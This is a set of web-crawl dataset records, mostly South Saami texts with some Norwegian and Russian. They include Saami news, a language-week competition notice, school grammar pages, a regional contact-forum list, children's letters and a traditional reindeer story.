jeahta.\nDïhte aaj tuhtjie jeatjah saemien noerh edtjieh saemien skyllemesæjjan vuelkedh. Sov mïelen mietie dan hijven gosse åådtje saemieh gaajhkene lehkeste Sapmeste åahpenidh jïh råakedh.\nAlbertina Kråik Johansson\nVihkeles baadtehtahkh gårredidh!\nJïh dah noerh mah dan jaepien skylleme joe mieredamme gosse edtjieh båetije aejkien råakedh. – Mijjieh edtjebe juelkietjengkere-cupesne, Bïenjedaelesne gaavnedidh, Albertina bïeljele.\nJoekehtse\nDæjman skyllemesijiem kritijhke åadtjoeji, jïh aerebi dan jaepien Sáminuorran noeresiebrie Sveerjesne bievni ahte eah sïjhth ektiebarkoem Sveerjen gærhkojne jåerhkedh, dan åvteste eah tuhtjh gærhkoem saemien maahtoem dej saemien øøhpehtæjjaj luvnie geehtestieh.\nDan jaepien sijjiem buerie moenedimmieh åådtjeme!\nJon Krista Jonsson, øøhpehtæjja skyllemesijjesne orreme, dæjman jïh dan jaepien, jïh dïhte jeahta ahte vååjnoe goh gærhkoem moenedimmide dååsteme.\n– Vååjnoe guktie gærhkoem sæjhta skyllemesijjiem bueriedehtedh, jïh håhkoem lea ahte gaajh hijven skyllemesijjie båetije biejjieh sjædta, Jonsson jeahta.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/dan-soe-luste-orreme_-1.12432847","date":"2017-10-19T07:36:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823255.12\/warc\/CC-MAIN-20171019065335-20171019085335-00313.warc.gz","language":"sma","language_score":0.999971509,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999715089797974}","num_words":248,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelegaahtjemisnie 2020\nÅrrode meatan gïelegaahtjemisnie!\nGïelevåhkoe 2019 aavrem jåarhka jïh Gïelevåhkose 2020 böörede.\nDaan jaepien gïelevåhkoe öörnesåvva våhkoen 43, amma golken 19. -25.b.\nUlmie daejnie våhkojne lea saemien gïelh våajnoes darjodh jïh daajroem\nlutnjedh saemien gïeli jïh saemien kultuvren bïjre abpe siebriedahkesne.\nRaaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem\nlehkiem.\nSaemiedigkie gïelegaahtjemem öörnede mij edtja maanide jïh noeride\nskreejrehtidh saemien nuhtjedh sosijaale medijinie. Göökte gaahtjemh, dïhte\nakte lea skuvleklaasside jïh dïhte mubpie lea aktegs maanide\/noeride.\nSaemiedigkie 5000 kr akten skuvleklaassese vadta jïh akth AirPods Pro göökte\nalmetjidie.\nJis maanah\/noerh gaskem 11-25 jaepieh dijjen skuvlesne mah\nsijhtieh filmebiehkiem darjodh dåehkine jallh oktegh, dellie dej lea nuepie daelie!\nFilme maahta jïjtse aarkebiejjien bïjre årrodh, «gamingen» bïjre saemiengïelesne jallh guktie edtja bååhkesjidh.\nMaahta filmebiehkiem juekedh instagramesne ïebnetsegkine #Gvchallenge2020, jallh epåastesne seedtedh diekie email@example.com\nminngemes golken 21.b. 2020.\nGosse meatan gaahtjemisnie dellie aaj luhpedh filme maahta juakasovvedh\nSaemiedigkien sosijaale medijinie.\nMijjieh vitnijidie bæjhkoehtibie golken 22.b.\nHaestebe dijjem meatan årrodh daennie lustes gaahtjemisnie!\nhttps:\/\/www.facebook.com\/112860833886709\/videos\/450511549256426\nDelta i språkkonkurranse!\nSamisk språkuke 2019 fortsetter suksessen, og inviterer til Samisk språkuke\n2020.\nÅrets språkuke arrangeres uke 43, eller nærmere bestemt 19.-25. oktober.\nMålet med denne uka er å synliggjøre og løfte kunnskapen om de samiske\nspråkene og samisk kultur i hele samfunnet. Akkurat denne uka skal de\nsamiske språkene høres og ses over alt.\nSametinget arrangerer en språkkonkurranse som skal motivere barn og\nungdommer til å bruke samisk i sosiale medier. Det er to konkurranser, hvor\nden ene er ment for skoleklasser og den andre til enkelte barn\/ungdommer.\nSametinget deler ut 5000 kr til en skoleklasse, og ett par AirPods Pro til to\npersoner.\nFinnes det barn\/ungdommer mellom 11-25 i deres skole som vil lage\nen filmsnutt enten i grupper eller alene, så har de muligheten nå!\nFilmen kan handle om ens egen hverdag, om dataspill på samisk eller hvordan\nman skal bake. Filmsnutten kan deles på instagram med hashtag\n#Gvchallenge2020, eller sendes via e-post til firstname.lastname@example.org\nsenest 21. oktober 2020.\nNår du deltar i konkurransen, går du også med på at filmen\nkan deles på Sametingets sosiale medier.\nVinnere publiseres 22. oktober.\nVi utfordrer dere til å delta på denne morsomme konkurransen!\nhttps:\/\/www.facebook.com\/112860833886709\/videos\/450511549256426","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/roros.kommune.no\/aktuelt\/nyheter\/arrode-meatan-gielegaahtjemisnie-delta-i-sprakkonkurranse\/","date":"2020-10-25T20:00:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107889651.52\/warc\/CC-MAIN-20201025183844-20201025213844-00327.warc.gz","language":"sma","language_score":0.9868095517,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9868095517158508, \"sme_Latn_score\": 0.01081028301268816}","num_words":341,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"UTGÅTT - Åarjelsaemien voestesgïeline (SR vg3) (LK06)\nDette faget følger en utgått læreplan.\nArgumentasjovne\nArgumenteradidh lea mubpide tsevtsedh. Mijjieh argumenteradibie dan åvteste mijjieh sïjhtebe govlehtoevedh jïh mubpijste guarkeme sjïdtedh, jïh dan åvteste mijjieh sïjhtebe jeatjebh edtjieh mijjine sïemes årrodh.\nArgumentasjovnen bïjre\nHijven argumentasjovne-tjiehpiesvoeth lea nuhteligs utnedh dovne skuvlesne, barkosne, siebriedahkesne jïh privaate jieliedisnie. Datne dejtie daarpesjh gosse digkedeminie, gosse edtjh lahtestimmieh jïh barkoe-ohtsemh tjaeledh.\nLæringsressurser\nArgumentasjovnen bïjre","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/nb\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:172880\/topic:5:182050\/","date":"2023-03-28T15:17:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948867.32\/warc\/CC-MAIN-20230328135732-20230328165732-00462.warc.gz","language":"sma","language_score":0.9999723434,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999723434448242}","num_words":66,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Govlesadtemesijjie saemien aamhtesidie Noerhte-Trøøndelagesne:\nFylhkenraerie Noerhte-Trøøndelagesne Govlesadtemesijjiem saemien aamhtesidie Noerhte-Trøøndelagesne tseegki jaepien 2008 - akte digkiedimmiesijjie mij lea goh gaavnesjimmiesijjie jïh bïevnesesijjie orreme dan åarjelsaemien gïele- jïh kultuvrebarkose fylhkesne.\nGovlesadtemesijjien åvtehke lea fylhkenraerije May Britt Lagesen jïh desnie aaj tjïrkijh daejstie meatan\n- Saemiedigkie\n- Saemien Sijte\n- Gaskedajven båatsoetjïelte\n- Åarjel Saemiej skuvle\n- Saemien åålmege\n- Luvlie Nåamesjen Dajve\n- Prosjekte Gielem Nastedh, Snåase\n- Snåasen tjïelte\n- Raavrevijhken tjïelte\n- Fylhkenålma Noerhte-Trøøndelagesne, Øøhpehtimmiedirektøøre\n- Jilleskuvle Noerhte-Trøøndelagesne (HiNT)\n- Kråangken jåarhkeskuvle\n- Evtiedimmieprosjekte juktie åarjelsaemien gïelem jïh kultuvrem nænnoestidh, NTFT\nNoerhte-Trøøndelagen Fylhkentjielte, Regijovnale Evtiedimmiegoevtesen baaktoe lea govlesadtemesijjien tjaelijesijjie. Govlesadtemesijjie saemien aamhtesidie Noerhte-Trøøndelagesne lea goh akte ovbyjjes gaavnesjimmiesijjie jïh digkiedimmiesijjie gusnie maahta gaajhkh aamhtesh åehpiedehtedh jïh digkiedidh mah ulmiem utnieh dan åarjelsaemien gïele jïh kultvurebarkose.\n------------\nKontaktforum for samiske saker i Nord-Trøndelag:\nFylkesrådet i Nord-Trøndelag opprettet i 2008 Kontaktforum for samiske saker i Nord-Trøndelag - et dialogforum som har fungert som en møteplass og informasjonsarena for arbeidet med sørsamisk språk og kultur i fylket.\nKontaktforumet ledes av Fylkesråd May Britt Lagesen og består forøvrig av representanter fra\n- Sametinget\n- Saemien Sijte\n- Nord-Trøndelag Reinsamelag\n- Åarjel Saemiej skuvle\n- Samisk menighet\n- Luvlie Nåamesjen Dajve \/ Samisk kulturforening\n- Prosjekt Gielem Nastedh, Snåsa\n- Snåsa kommune\n- Røyrvik kommune\n- Fylkesmannen i NT, Utdanningsdirektøren\n- Høgskolen i Nord-Trøndelag (HiNT)\n- Grong videregående skole\n- Utviklingsprosjekt for styrking av sørsamisk språk og kultur, NTFK\nNord-Trøndelag Fylkeskommune ved Regional Utviklingsavdeling er sekretariat for kontaktforumet. Kontaktforum for samiske saker i Nord-Trøndelag fungerer som et uformelt møtested og diskusjonsforum hvor alle tema av interesse for arbeidet med sørsamisk språk og kultur kan presenteres og diskuteres.","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.ntfk.no\/Aarjelsaemien\/Gaskesadtemeforume\/Sider\/default.aspx","date":"2017-11-25T00:15:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934809160.77\/warc\/CC-MAIN-20171124234011-20171125014011-00661.warc.gz","language":"sma","language_score":0.8585705757,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.8585705757141113, \"sme_Latn_score\": 0.13953454792499542}","num_words":241,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Røros bergstaden jïh Circumferensen reeremesoejkesje 2019-2023 lea govlehtæmman bïejesovveme \/ Forvaltningsplan for Røros bergstad og Circumferensen 2019-2023 er lagt ut på høring. Røros bergstad jïh Circumferensen Vearteneaerpieraerie lea Røros bergstaden jïh Circumferensen reeremesoejkesjem 2019-2023 govlehtæmman bïejeme. Reeremesoejkesje gamte bijjieguvviem vadta dej ovmessie dajvi jïh aarvoej bijjeli vearteneaerpesne, guktie dej tsiehkie lea daelie, giejstie jïh guktie vearteneaerpie […]\nKlikk her for å lese videre\nDenne uka har vi deltatt på brukerforumet til Framsikt – vårt nye budsjett- og analyseverktøyet. Både gleden og overraskelsen var stor da vi var en av fire som ble nominert til innovasjonsprisen! Det er første året Røros kommunen tar i bruk Framsikt. Juryen har sett etter bruk av ny funksjonalitet utviklet i 2019, klimabudsjett, grafiske […]\nKlikk her for å lese videre\nRaerieålman raeriestimmie jaepiebudsjedtese jïh Ekonomijesoejkesjasse 2020-2023 \/ Rådmannens forslag til årsbudsjett og Økonomiplan 2020–2023 Daelie tjïelten åejvieladtjeraerie budsjedtem jïh ekonomijesoejkesjem 2020-2023 byögkeles govlehtæmman bïejeme. Mierie juktie raeriestimmiejgujmie båetedh govlehtæmman lea duarsta goeven 5.b. åvtelen tsåahka 15.00. Raerieh govlehtæmman seedtesåvva diekie email@example.com. Nå er budsjett og økonomiplan 2020–2023 lagt ut på offentlig høring av formannskapet. Fristen for å […]\nKlikk her for å lese videre","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/roros.kommune.no\/2019\/11\/28\/","date":"2020-01-22T13:44:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250607118.51\/warc\/CC-MAIN-20200122131612-20200122160612-00144.warc.gz","language":"sma","language_score":0.9070104957,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9070104956626892, \"sme_Latn_score\": 0.0480559803545475, \"nob_Latn_score\": 0.03898031264543533}","num_words":174,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":0.908,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh systeeme\nGïele lea tjoejh, baakoeh jïh raajesh mah ektesne veadtaldihkie juktie almetjh maehtieh soptsestalledh, guarkadidh jïh mïelem buektiehtidh. Gïele lea grammatihkeles njoelkedassi mietie bigkeme, mah jorkesieh tïjjen mietie. Nemhtie orre gïelh jïh smaareh-gïelh sjïdteme.\nÅarjel-saemien grammatihke\nDaennie teemesne lïerh nomeni, verbi, seerkeme-baakoej, raajese-bigkemen jïh jarkoestimmien bïjre.\nLæringsressurser\nÅarjel-saemien grammatihke","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:395a3ac2-9d4d-42c4-94ca-dc8de7720a19\/topic:2:f5880cc6-1199-417f-b038-80f230bcc136\/","date":"2023-06-07T18:18:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224654012.67\/warc\/CC-MAIN-20230607175304-20230607205304-00363.warc.gz","language":"sma","language_score":0.999999404,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999994039535522}","num_words":55,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie datnine?\nMannine barre hijven.\nMaam datne dov hïeljen darjoejih ?\nLaavadahken manne Agnes reakedsbiejjie-heevehtimmie årroejim. Luste lij.\nAejlegen ij mij gænna darjoejim.\nManne Spanien, Italien lji Fran...\nHaaj guktie datnine?\nMannine barre hijven.\nMov giese- eejehtimmie manne juelkie-tjengkere spelaladim.\nManne juelkie-tjengkere gaempoe spelaladim dan nomme lea: onne eatneme gaempoe. Mijjieh vihtie gæmhpoeh spealadi...\nGuktie datnine?\nManinen barre hijven.\nGuktie båargan tjahkesne?\nLaavadahken manne juelkie - tjængkere gæmhpoe spïelim. Mijjieh vitnimh!\nAejlegen manne hierkien gaahtjeme vööjnim.\nLuste lij! Hierkie lea dansoe...\nHaaj Ella!\nGuktie datnine?\nLaavadahken manne mijjen gåeteie-våågne årrejim. Daate luste lij!Aejlege manne Cherleadning- saavreme årroehjim. Mijjieh luhkiegaektsie learohke dan saavreme årroejimh.\nManne cher...\nMov giesie-eejehtimmie manne mov aahka jih aajja mïnnim.\nDesnie mijjieh Zooese vaedtsiejimh.\nDesnie mijjeh sïrve jih snurkeh jih govse jih hierkie vuejniejimh.Gåssie mijjeh gåetie båetiejimh manne vaarim ji...\nDaen bijjien mijjen skuvlesne beagka gåetie darjoejimh.\nManne jih mov voelph akte beagka gåetie bigkimh.\nGuktie datnine?\nMaam datne daajhtoeh?\nBearjadahken jih gaske-våhkoen manne rijrim.Muvhten biej...\nMaam datne darjoeh?\nGuktie datnine?\nMannine hijven.\nManne reatnoe abpe våhkoen spealadim.\nMijjieh Nöörjesne jih Soemesne eejehtalleme mïnnimh.Manne jih aehtijeh geelieh gierkiej baektieh hajkedimen....\nBurie biejjie Elvira!\nDaenbien manne mijjien skuvlesne beagka gåetie darjoejin.\nManne jïh mov volpe joptse voessjimen.\nDatne naan redtiesvïhtjeme darjodh?\nManne redtiesvïhtjeme dorjeme.Manne datnem...\nMov voelpe lea gïemhpes\nGoh naestie mij guaka elmesne\nManne mov voelpem lyjhkem\nDejnie manne aavone\nEktesne föörhkedien\nDovne skuvlesne\nJïh bussesne\nGåessie hujnesneEktesne monnem soelkehti...\nMov vïeneskodtje\nLea vïenes jih tryjjes.\nHijven-laakan vïeneskodtje lea hijven utnedh.\nDïhte dorje manne aavone.Mov vïeneskodtje.\nLuste datnine spieledh.\nDatne lea gïempes.\nManne aavone datne mïelem.\nManne aavone aktem voelpe jis datne gaavnim.\nDatne mov bööremes voelpe.\nIj leah goerehth, væssjojes jallh dåårres.\nMov bïenje.\nMov bïenje lea væjkeles, gïemhpes.\nMov bïenje gieries voelpe.\nMov bïenje.\nMov voelpe\nmanne leam geerjeene\nmanne gaavnim akte voelpe\ngoh datne\nmov jieleme lea buerebe\nMov bovtse\nMov tjaebpies daamehke\nMov gieries lijnie-gaalloe\nDatne guakah goh nastieh elmesne\nDatne faamoem jih håhkoem munnjien vadtah\nDatne mov aerpiem guadtah\nManne vuajnam dov gïejh mah skåajjesne haajp...","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.polarbibblo.se\/sma-se\/lohkedh-jih-goltelidh\/","date":"2024-04-18T01:06:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817184.35\/warc\/CC-MAIN-20240417235906-20240418025906-00466.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":332,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh åarjel-saemien grammatihkem lïeredh. Vuesiehtimmien gaavhtan maahtah nomeni, verbi jïh seerkeme-baakoej, raajese-bigkemen jïh jarkoestimmien bïjre lohkedh. Lissine maahtah laavenjassh darjodh.\nGïele\nMaehtebe gïelem ovmessie gïeleldh suerkine juekedh goh fonologije, morfologije, syntakse, leksikovne, semantihke jïh prosodije. Dah ovmessie gïeledh suerkieh soptsestieh guktie åarjelsaemien gïele bigkeme, guktie mijjieh soptsestibie jïh guktie tjaelebe. Daate mijjen grammatihke.\nGïeleldh suerkieh\nMaehtebe gïelem ovmessie gïeleldh suerkine juekedh goh fonologije, morfologije, syntakse, leksikovne, semantihke jïh prosodije.\nGïeleldh suerkie\nVæhtabïhkedassh\n|Fonologije||gïeletjoeje-learoe, guktie vokaalide jïh konsonaantide jiehtebe|\n|Morfologije||soptseste guktie baakoeh bigkeme, guktie edtjebe baakoeh sojjehtidh jïh guktie maehtebe orre baakoeh seerkedh|\n|Syntakse||soptseste guktie maehtebe raajesh bigkedh|\n|Leksikovne||baakoeh gïelesne, baakoe-learoe|\n|Semantihke||learoe gïelen sisvegen bïjre jïh guktie edtjebe baakoeh, jiehtegh jïh raajesh guarkedh|\n|Prosodije||guktie edtjebe baakoeh jiehtedh jïh gusnie edtjebe dïedtem bïejedh gosse baakoem jiehtebe|\nSyntakse\nSaemien gïelen syntakse soptseste guktie edtjebe raajesh bigkedh. Ovmessie gïelh eah daarpesjh seamma syntaksem utnedh. Baakoeh aktene raajesisnie ovmessie råållah utnieh. Baakoeh mah ovmessie funksjovnh raajesinie utnieh mijjieh raajese-lïhtsine gåhtjobe. Gaajhkh raajesh raajese-lïhtsh utnieh. Raajese-lïhtse maahta soptsestidh mij heannede (verbaale), gie\/mij dorje (subjekte), gïem\/maam dorje (objeekte) jïh guktie heannadimmie dorjesovveme (adveerbiaale).\nMorfologije\nLearoe mij soptseste guktie baakoeh bigkeme. Vuesiehtimmien gaavhtan guktie baakoeh sojjehtibie jïh guktie baakoeh seerkebe. Gosse baakoeh sojjehtibie dellie mijjieh baakose minngie-gietjiem lissiehtibie. Vg: bïenje – bïenje + m .Gosse baakoeh seerkebe dellie orre baakoeh maadth-baakoste darjobe. Vg vaedtsedh - vaadtsajidh\n- Kjernestoff\nBaakoe nomen latijnen gïeleste båata mij lea nomme.\n- Kjernestoff\nDaennie boelhkesne dej ovmessie verbe-hammoej bïjre lïerh, dej finitte verbi bïjre mejtie sojjehtibie jïh dej infinitte verbi bïjre mejtie ibie sojjehth.\n- Kjernestoff\nSaemien-gïelesne gellie nuepieh orre baakoeh darjodh goh seerkeme-baakoeh. Dah joekehth seerkeme-gietjieh mah vielie bïevnesh maadth-baakojde lissiehtieh.\n- Kjernestoff\nGosse edtjebe daaroen-gïeleste saemien-gïelese jarkoestidh dellie gellielaaketje haestemh, jïh vihkeles dej gïeli joekehtsh daejredh jïh vïhtesjidh.\n- Kjernestoff\nDaennie teemesne lïerh guktie maahtah lööneme-baakoeh tjaeledh.\n- Kjernestoff\nGaajhkh baakoeh baakoe-klaasside juekebe. Daennie teemesne datne baakoe-klaassi bïjre lïerh jïh guktie daej joekehts hammoeh.\n- Kjernestoff\nDaennie kapihtelisnie datne raajese-bigkemen bïjre lïerh jïh guktie dah joekehth raajese-lïhtsh jïh raajesh.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181933\/topic:1:194367","date":"2019-03-22T11:10:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202642.32\/warc\/CC-MAIN-20190322094932-20190322120932-00408.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":320,"character_repetition_ratio":0.081,"word_repetition_ratio":0.032,"special_characters_ratio":0.152,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lea biehkie tjaalegistie Ånnetji saejrieh jïh vertemen bïjre maam Jonar Thomasson tjaaleme. Dennie biehkesne Jonar soptseste guktie saemieh dejpeli dåemiedin gosse lin irhkesjamme, tjoehpedamme.\nSïejpem dåalvoeminie\nJïh dellie edtjem soptsestidh maam aehtj-aajjeste govlim. Dïhte lea gujht nestan aaj seammalaakan goh dam voestes soptsestim. Dah lin siejpiem dåalvoeminie maam lea båateme våålese dej sijjien krievvien gåajkoe. Gïehtelin golme dygnh eannan fihkin dan sjaedtien sistie. Nåå, die gujht vualka bæjjese, men golme såaknoe tjirrh vöölki. Aajnehken såakneste dam eelki jïh dle bæjjese göökte Vualtjeren tjirrh.\nNåå, dellie gujht dam sïejpem jaksin Blaajhkejem. Dellie vïenhtigan, jo sån maa dellie vualka vaaran. Aajja Nils Nilsa lij åvtene tjoejkeminie, aehtj-aajja lij vaalteme voessem. Die lin jakselamme sïejpem mij lij tjaangeme goese håålhtoen nualan.\nMen gosse aajja Nils Nilsa edtja dam sïejpem buvviestidh dellie sån lea fuehpesne, slievedahkem lea gujht daehtie saejhteste tsaepmiestamme, men dle båajhtoeh gietjiem vaalta, barre dam skaavvoem, jïjtje steerie dam saejhtie-gietjiem. Die dïhte sïejpe dåastoedamme jïh garvestamme dåaresth dam klaahkam. Dellie gujht aajja Nils Nilsa gylje. Aehtj-aajja gåvla, dellie satne jakseme.\nDellie gujht aehtj-aajja fuahpan sjædta, voessem hajkede edtja varki viehkiehtidh. Aajja Nils Nilsa sån lea gïehtelamme siejpine gumhpeme dellie sïejpe luejhtele dam klaahkam jïh dïhte saejhtie vualka tjïrrh roejtem. Goh aajja båata dellie dïhte luvhti sigkestidh dam klaahkam dejtie saejrijste, men aajja gujht varki voestegh dam sïejpem goesen nualan buvveste jïh sigkeste dam olkese. Dïhte aaj bæksa dam geahpam destie jïh domhpesje dej saejriej sïjse.\nNåå, goh lea dam dorjeme jïh dueljiem fihkeme daehtie siejpeste dellie gujht tjoejkijægan Stoerrejaevrien gåajkoe, laedtien gaertienasse man nomme Jupdal. Dellie destie dle sån fihkeme hierkie-skovhtem Vualtjarasse, dåakteren gåajkoe.[1]\nSoptsesen bïjre\nJonar Thomasson tjaala daam soptsesem aehtjeste govleme guktie tjoerin dåemiedidh. Aehtjien nomme lij Jonas Andreas Thomasson. Dïhte lij reakasovveme jåvle-asken 1910 låavth-gåetesne akten beetsetjen sisnie ij man guhkie Sjeltien luvhtie. Dellie lin juhtieminie våålese daelvie-laantese. Daelvie-laantem utnin vuelnie stoerre-voenesne Björnan jïh Trehörningssjöen lïhke, dajkoe bïjre. Muvhth daelvieh gåatoehtin barre Sjeltien lïhke. Tjaktje gïjre-gåetieh utnin Raentseren lïhke. Giesege låavth-gåetieh utnin Tjoelmenvaegkesne Såvsoenvuemien jïh Byrkijen boehth. Daejtie soptsesh sïjhtem tjaeledh guktie lea munnjien soptsestamme.\nBaakoeh\nSaemien\nDaaroen\nBlaahkeje, Plaajhkije\nBlajken\nhåålhtoe\nhull, hule\nslievedahke\nskjødesløshet\n- 1«Ånnetji saejrieh jïh vertemen bïjre». Saemien sijte Thomasson, Jonar. Saemien sijte. 1991.\nLaavenjassh: Juhtemen bïjreKjernestoff\nLaavenjassh: SlaaterdimmieKjernestoff\nGåatoehtimmmie Åarjel-raedtesneKjernestoff\nSoptsese guktie sarvh vijredhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nMaam måjhtah?Kjernestoff\nLaavenjassh: Vaarjoej bïjreKjernestoff\nLaavenjassh Dejpeladtje skuvle-vaarjoehKjernestoff\nLaavenjassh vætnoen bïjreKjernestoff\nLaavenjassh: Saejrieh jïh vertemeKjernestoff\nJohtelohken bïjreKjernestoff\nSlaaterdimmieKjernestoff\nJuhtemen bïjreKjernestoff\nGåatoehtimmie Åarjel-raedtesneKjernestoff\nAkten reakta-aamhtesen bïjreKjernestoff\nSoptsese guktie sarvh vuetjedhKjernestoff\nSaemie aaj maahta röövrem provhkedhKjernestoff\nTjaalege vaarjoej bïjreKjernestoff\nDejpeladtje skuvle-vaarjoehKjernestoff\nÅnnetji saejrieh jïh vertemen bïjreKjernestoff\nNihpereKjernestoff\nGarre vertemeKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182312\/topic:1:183758\/resource:1:192230","date":"2019-04-22T15:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00335.warc.gz","language":"sma","language_score":0.9999548197,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999548196792603}","num_words":424,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/yux_Cyrl/mala_000001_keep.jsonl b/yux_Cyrl/mala_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..0506e79bb589a04437a6647456baef8a427b6669 --- /dev/null +++ b/yux_Cyrl/mala_000001_keep.jsonl @@ -0,0 +1,4 @@ +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"Рассказал в 1959 г. Шалугин Н.А.,пос.Нелемное, записал на юкагирском и русском языках ЛаптевА.П.","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.948,"perplexity_score":500.0,"cluster_detection":1} +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"Записал на юкагирском и русском языках в1959 г. Лаптев А.П Информант неизвестен.","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"Записал в 1959 г. на русском и юкагирскомязыках Лаптев А.П Информант неизвестен.","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"1. Смысл песни, очевидно, в том, что старики старушка жили очень бедно.","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/yux_Cyrl/mala_000001_remove.jsonl b/yux_Cyrl/mala_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..2f356067d1fb3fdb7c90d55a67b133c5838b8f19 --- /dev/null +++ b/yux_Cyrl/mala_000001_remove.jsonl @@ -0,0 +1,3 @@ +{"url":"http:\/\/dnevniki.ykt.ru\/Trimid2\/729863?fromC=true","collection":"languages_of_russia","source":"dnevniki.ykt.ru","original_code":"yux","text":"Trimid2, Ой,это я внвт,прстте.Оо.я ткой не ловкй.Оо.убйте мня молотками 